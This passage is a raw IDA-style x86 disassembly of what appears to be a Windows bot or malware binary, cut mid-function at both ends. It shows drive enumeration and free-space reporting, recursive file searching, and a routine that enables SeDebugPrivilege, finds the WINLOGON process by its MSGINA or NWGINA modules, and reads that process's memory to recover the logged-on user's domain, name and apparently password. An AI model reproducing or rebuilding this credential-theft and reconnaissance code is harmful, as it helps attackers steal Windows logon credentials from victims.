		call	sub_41DCB0
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_416D2C
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_416CEE
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_416CEE
; ---------------------------------------------------------------------------


loc_416D2C:				; CODE XREF: sub_416CC9+4Bj
		dec	esi
		mov	eax, edi


loc_416D2F:				; CODE XREF: sub_416CC9+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_416D3E
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_416D2F
; ---------------------------------------------------------------------------


loc_416D3E:				; CODE XREF: sub_416CC9+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416CC9	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D48	proc near		; CODE XREF: sub_416EFD+51p
					; sub_416EFD+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA34	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_416D8B
		dec	eax
		jz	short loc_416D85
		dec	eax
		dec	eax
		jz	short loc_416D7F
		dec	eax
		jz	short loc_416D79
		dec	eax
		jz	short loc_416D73
		dec	eax
		jz	short loc_416D6D
		mov	eax, offset word_4383AC
		retn
; ---------------------------------------------------------------------------


loc_416D6D:				; CODE XREF: sub_416D48+1Dj
		mov	eax, offset off_4383A8
		retn
; ---------------------------------------------------------------------------


loc_416D73:				; CODE XREF: sub_416D48+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_416D79:				; CODE XREF: sub_416D48+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_416D7F:				; CODE XREF: sub_416D48+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_416D85:				; CODE XREF: sub_416D48+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_416D8B:				; CODE XREF: sub_416D48+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_416D48	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_416DD9+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_4CB8C4
		test	eax, eax
		jz	short loc_416DC6
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_416DC6:				; CODE XREF: sub_416D91+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416DD9	proc near		; CODE XREF: sub_416EFD+17p
					; sub_41AF8F+1F3p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416D91
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_416EB7
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		mov	edi, offset aSkb ; "%sKB"
		pop	ecx
		mov	esi, 80h
		push	eax
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_41DDA0
		push	edx
		push	eax
		call	sub_416CC9
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C	; GetLogicalDriveStringsA
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C	; GetLogicalDriveStringsA
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset aA_1	; "A:\\"
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417054	proc near		; DATA XREF: sub_401ACD+67C1o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41B9C0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_4170A9
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_4170A9:				; CODE XREF: sub_417054+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_43845C
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_4170EE
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409869
		add	esp, 14h


loc_4170EE:				; CODE XREF: sub_417054+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_41716F
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset dword_43843C
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_41714F
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_409869
		add	esp, 14h


loc_41714F:				; CODE XREF: sub_417054+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_417054	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41716F	proc near		; CODE XREF: sub_417054+B9p
					; sub_41716F+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset dword_4384A0
		push	esi
		push	eax
		call	sub_41C360
		mov	edi, dword_427124
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset dword_429AC0
		jz	short loc_41722C


loc_4171BB:				; CODE XREF: sub_41716F+BBj
		test	[ebp+var_144], 10h
		jz	short loc_417218
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_4171DF
		cmp	[ebp+var_117], 0
		jz	short loc_417218
		cmp	[ebp+var_117], 2Eh
		jz	short loc_417218


loc_4171DF:				; CODE XREF: sub_41716F+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41716F
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_417218:				; CODE XREF: sub_41716F+53j
					; sub_41716F+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		call	dword_427120	; FindNextFileA
		test	eax, eax
		jnz	short loc_4171BB


loc_41722C:				; CODE XREF: sub_41716F+4Aj
		push	[ebp+var_4]
		call	dword_427000	; FindClose
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi	; FindFirstFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4172B2


loc_417263:				; CODE XREF: sub_41716F+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset dword_438484
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		call	dword_427120	; FindNextFileA
		test	eax, eax
		jnz	short loc_417263


loc_4172B2:				; CODE XREF: sub_41716F+F2j
		push	esi
		call	dword_427000	; FindClose
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41716F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	dword_4270C0	; LoadLibraryA
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi	; GetProcAddress
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi	; GetProcAddress
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi	; GetProcAddress
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi	; GetProcAddress
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi	; GetProcAddress
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset aUsername ; "USERNAME"
		call	esi	; GetEnvironmentVariableW
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset aUserdomain ; "USERDOMAIN"
		call	esi	; GetEnvironmentVariableW
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	dword_427144	; FreeLibrary
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_427150
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		push	[esp+28h+var_14]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi	; GetProcessHeap
		push	eax
		call	dword_42714C	; RtlFreeHeap
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		call	dword_42708C	; OpenProcess
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_427160	; GetSystemInfo
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi	; GetProcessHeap
		mov	edi, dword_427150
		push	eax
		call	edi	; RtlAllocateHeap
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	dword_427158	; VirtualQueryEx
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi	; GetProcessHeap
		push	eax
		call	edi	; RtlAllocateHeap
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx	; ReadProcessMemory
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		call	dword_42711C	; FileTimeToLocalFileTime
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_427118	; FileTimeToSystemTime
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
